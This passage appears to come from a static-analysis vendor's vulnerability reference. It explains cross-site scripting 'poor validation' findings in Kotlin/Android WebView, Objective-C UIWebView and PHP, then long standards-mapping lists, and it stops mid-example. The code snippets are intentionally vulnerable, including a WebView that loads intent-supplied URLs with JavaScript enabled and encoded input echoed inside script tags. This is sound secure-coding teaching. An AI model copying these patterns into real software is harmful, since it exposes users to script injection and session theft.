As in Example 1, this code functions correctly when the values of name are well-behaved, but it does nothing to prevent exploits if they are not. Again, this code can appear less dangerous because the value of name is read from a database, whose contents are apparently managed by the application. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker may execute malicious commands in the user's web browser. This type of exploit, known as Persistent (or Stored) XSS, is particularly insidious because the indirection caused by the data store makes it difficult to identify the threat and increases the possibility that the attack might affect multiple users. XSS got its start in this form with web sites that offered a "guestbook" to visitors. Attackers would include JavaScript in their guestbook entries, and all subsequent visitors to the guestbook page would execute the malicious code.

Some think that in the mobile environment, classic web application vulnerabilities, such as cross-site scripting, do not make sense -- why would the user attack themself? However, keep in mind that the essence of mobile platforms is applications that are downloaded from various sources and run alongside each other on the same device. The likelihood of running a piece of malware next to a banking application is high, which necessitates expanding the attack surface of mobile applications to include inter-process communication.

Example 3: The following code enables JavaScript in Android's WebView (by default, JavaScript is disabled) and loads a page based on the value received from an Android intent.


...
val webview = findViewById<View>(R.id.webview) as WebView
webview.settings.javaScriptEnabled = true
val url = this.intent.extras!!.getString("url")
webview.loadUrl(URLEncoder.encode(url))
...


If the value of url starts with javascript:, JavaScript code that follows executes within the context of the web page inside WebView.

As the examples demonstrate, XSS vulnerabilities are caused by code that includes unvalidated data in an HTTP response. There are three vectors by which an XSS attack can reach a victim:

- As in Example 1, data is read directly from the HTTP request and reflected back in the HTTP response. Reflected XSS exploits occur when an attacker causes a user to supply dangerous content to a vulnerable web application, which is then reflected back to the user and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or emailed directly to victims. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces victims to visit a URL that refers to a vulnerable site. After the site reflects the attacker's content back to the user, the content is executed and proceeds to transfer private information, such as cookies that might include session information, from the user's machine to the attacker or perform other nefarious activities.

- As in Example 2, the application stores dangerous data in a database or other trusted data store. The dangerous data is subsequently read back into the application and included in dynamic content. Persistent XSS exploits occur when an attacker injects dangerous content into a data store that is later read and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user.

- As in Example 3, a source outside the application stores dangerous data in a database or other data store, and the dangerous data is subsequently read back into the application as trusted data and included in dynamic content.


A number of modern web frameworks provide mechanisms to perform user input validation (including Struts and Spring MVC). To highlight the unvalidated sources of input, Fortify Secure Coding Rulepacks dynamically re-prioritize the issues Fortify Static Code Analyzer reports by lowering their probability of exploit and providing pointers to the supporting evidence whenever the framework validation mechanism is in use. We refer to this feature as Context-Sensitive Ranking. To further assist the Fortify user with the auditing process, the Fortify Software Security Research group makes available the Data Validation project template that groups the issues into folders based on the validation mechanism applied to their source of input.
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Tongbo Luo, Hao Hao, Wenliang Du, Yifei Wang, and Heng Yin Attacks on WebView in the Android System
[4] Erika Chin and David Wagner Bifocals: Analyzing WebView Vulnerabilities in Android Applications
[5] INJECT-3: XML and HTML generation requires care Oracle
[6] Standards Mapping - Common Weakness Enumeration CWE ID 82, CWE ID 83, CWE ID 87, CWE ID 692
[7] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[10] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[11] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[12] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[13] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[14] Standards Mapping - FIPS200 SI
[15] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[16] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[17] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[18] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[19] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[20] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[21] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[22] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[24] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[25] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[26] Standards Mapping - OWASP Top 10 2021 A03 Injection
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[34] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[35] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[37] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[38] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[39] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 116
[40] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[62] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[63] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.kotlin.cross_site_scripting_poor_validation
Abstract
The method uses HTML, XML, or other types of encoding that is not always enough to prevent malicious code from reaching the web browser.
Explanation
The use of certain encoding constructs, such as ESAPI or AntiXSS, will prevent some, but not all cross-site scripting attacks. Depending on the context in which the data appears, characters beyond the basic <, >, &, and " that are HTML-encoded and those beyond <, >, &, ", and ' that are XML-encoded may take on meta-meaning. Relying on such encoding constructs is equivalent to using a weak deny list to prevent cross-site scripting and might allow an attacker to inject malicious code that will be executed in the browser. Because accurately identifying the context in which the data appear statically is not always possible, Fortify Static Code Analyzer reports cross-site scripting findings even when encoding is applied and presents them as Cross-Site Scripting: Poor Validation issues.

Cross-site scripting (XSS) vulnerabilities occur when:

1. Data enters a web page through an untrusted source. In the case of reflected XSS, the untrusted source is typically through user components, URL scheme handlers, or notifications, while in the case of Persistent (also known as stored) XSS it is typically a database or other back-end data store.


2. The data is included in dynamic content that is sent to a UIWebView component without being validated.

The malicious content sent to the web browser often takes the form of a JavaScript segment, but can also include HTML, Flash or any other type of code that the browser executes. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data such as cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.

The following examples highlight exploitable XSS instances which are encoded using an encoding API:

Example 1: The following Objective-C code segment reads the text portion of a custom URL scheme which was passed to and invoked the application (myapp://input_to_the_application). The untrusted data in the URL is then used to render HTML output in a UIWebView component.


...
- (BOOL)application:(UIApplication *)application handleOpenURL:(NSURL *)url {
...
UIWebView *webView;
NSString *partAfterSlashSlash = [[url host] stringByReplacingPercentEscapesUsingEncoding:NSUTF8StringEncoding];
NSString *htmlPage = [NSString stringWithFormat: @"%@/%@/%@", @"...<input type=text onclick=\"callFunction('",
[DefaultEncoder encodeForHTML:partAfterSlashSlash],
@"')\" />"];
webView = [[UIWebView alloc] initWithFrame:CGRectMake(0.0,0.0,360.0, 480.0)];
[webView loadHTMLString:htmlPage baseURL:nil];
...


As in Example 1, this code functions correctly when the values of name are well-behaved, but it does nothing to prevent exploits if they are not. Again, this code can appear less dangerous because the value of name is read from a database and is HTML encoded. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker may execute malicious commands in the user's web browser. The attacker supplied exploit could bypass encoded characters or place input in a context which is not effected by HTML encoding. This type of exploit, known as Persistent (or Stored) XSS, is particularly insidious because the indirection caused by the data store makes it difficult to identify the threat and increases the possibility that the attack might affect multiple users. XSS got its start in this form with web sites that offered a "guestbook" to visitors. Attackers would include JavaScript in their guestbook entries, and all subsequent visitors to the guestbook page would execute the malicious code.

As the examples demonstrate, XSS vulnerabilities are caused by code that includes unvalidated data in HTTP content. There are three vectors by which an XSS attack can reach a victim:

- As in Example 1, data is read directly from a custom URL scheme and reflected back in the content of a UIWebView response. Reflected XSS exploits occur when an attacker causes a user to supply dangerous content to a vulnerable iOS application, which is then reflected back to the user and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a custom scheme URL that is posted publicly or emailed directly to victims. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces victims to visit a URL that refers to a vulnerable app. After the app reflects the attacker's content back to the user, the content is executed and proceeds to transfer private information, such as cookies that might include session information, from the user's machine to the attacker or perform other nefarious activities.

- As in Example 2, the application stores dangerous data in a database or other trusted data store. The dangerous data is subsequently read back into the application and included in dynamic content. Persistent XSS exploits occur when an attacker injects dangerous content into a data store that is later read and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user.

- A source outside the application stores dangerous data in a database or other data store, and the dangerous data is subsequently read back into the application as trusted data and included in dynamic content.
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] W/Labs Continued Adventures with iOS UIWebViews
[4] Standards Mapping - Common Weakness Enumeration CWE ID 82, CWE ID 83, CWE ID 87, CWE ID 692
[5] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[10] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[11] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[12] Standards Mapping - FIPS200 SI
[13] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[14] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[15] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[16] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[17] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[18] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[19] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[20] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[24] Standards Mapping - OWASP Top 10 2021 A03 Injection
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[37] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 116
[38] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[60] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[61] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.objc.cross_site_scripting_poor_validation
Abstract
Relying on HTML, XML, and other types of encoding to validate user input can result in the browser executing malicious code.
Explanation
The use of certain encoding functions, such as htmlspecialchars() or htmlentities(), will prevent some, but not all cross-site scripting attacks. Depending on the context in which the data appear, characters beyond the basic <, >, &, and " that are HTML-encoded and those beyond <, >, &, ", and ' (only when ENT_QUOTES is set) that are XML-encoded may take on meta-meaning. Relying on such encoding functions is equivalent to using a weak deny list to prevent cross-site scripting and might allow an attacker to inject malicious code that will be executed in the browser. Because accurately identifying the context in which the data appear statically is not always possible, the Fortify Secure Coding Rulepacks reports cross-site scripting findings even when encoding is applied and presents them as Cross-Site Scripting: Poor Validation issues.

Cross-site scripting (XSS) vulnerabilities occur when:

1. Data enters a web application through an untrusted source. In the case of reflected XSS, an untrusted source is most frequently a web request, and in the case of persistent (also known as stored) XSS -- it is the results of a database query.


2. The data is included in dynamic content that is sent to a web user without validation.

The malicious content sent to the web browser often takes the form of a JavaScript segment, but can also include HTML, Flash or any other type of code that the browser executes. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data such as cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.

Example 1: The following code segment reads in the text parameter, from an HTTP request, HTML-encodes it, and displays it in an alert box in between script tags.


<?php
$var=$_GET['text'];
...
$var2=htmlspecialchars($var);
echo "<script>alert('$var2')</script>";
?>


The code in this example operates correctly if text contains only standard alphanumeric text. If text has a single quote, a round bracket and a semicolon, it ends the alert textbox thereafter the code will be executed.

Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use email or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers. This mechanism of exploiting vulnerable web applications is known as Reflected XSS.

As the examples demonstrate, XSS vulnerabilities are caused by code that includes unvalidated data in an HTTP response. There are three vectors by which an XSS attack can reach a victim:

- As in Example 1, data is read directly from the HTTP request and reflected back in the HTTP response. Reflected XSS exploits occur when an attacker causes a user to supply dangerous content to a vulnerable web application, which is then reflected back to the user and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or emailed directly to victims. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces victims to visit a URL that refers to a vulnerable site. After the site reflects the attacker's content back to the user, the content is executed and proceeds to transfer private information, such as cookies that might include session information, from the user's machine to the attacker or perform other nefarious activities.

- The application stores dangerous data in a database or other trusted data store. The dangerous data is subsequently read back into the application and included in dynamic content. Persistent XSS exploits occur when an attacker injects dangerous content into a data store that is later read and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user.

- A source outside the application stores dangerous data in a database or other data store, and the dangerous data is subsequently read back into the application as trusted data and included in dynamic content.
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Standards Mapping - Common Weakness Enumeration CWE ID 82, CWE ID 83, CWE ID 87, CWE ID 692
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[16] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[17] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[18] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[19] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[20] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2021 A03 Injection
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[36] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 116
[37] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[59] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[60] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.php.cross_site_scripting_poor_validation
Abstract
Relying on HTML, XML, and other types of encoding to validate user input can result in the browser executing malicious code.
Explanation
The use of certain encoding functions will prevent some, but not all cross-site scripting attacks. Depending on the context in which the data appear, characters beyond the basic <, >, &, and " that are HTML-encoded and those beyond <, >, &, ", and ' that are XML-encoded may take on meta-meaning. Relying on such encoding functions is equivalent to using a weak deny list to prevent cross-site scripting and might allow an attacker to inject malicious code that will be executed in the browser. Because accurately identifying the context in which the data appear statically is not always possible, the Fortify Secure Coding Rulepacks report cross-site scripting findings even when encoding is applied and presents them as Cross-Site Scripting: Poor Validation issues.

Cross-site scripting (XSS) vulnerabilities occur when:

1. Data enters a web application through an untrusted source. In the case of reflected XSS, the untrusted source is typically a web request, while in the case of persisted (also known as stored) XSS it is typically a database or other back-end data store.


2. The data is included in dynamic content that is sent to a web user without validation.

The malicious content sent to the web browser often takes the form of a JavaScript segment, but can also include HTML, Flash or any other type of code that the browser executes. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data such as cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.

Example 1: The following code segment reads an employee ID, eid, from an HTTP request, URL-encodes it, and displays it to the user.


...
-- Assume QUERY_STRING looks like EID=EmployeeID
eid := SUBSTR(OWA_UTIL.get_cgi_env('QUERY_STRING'), 5);
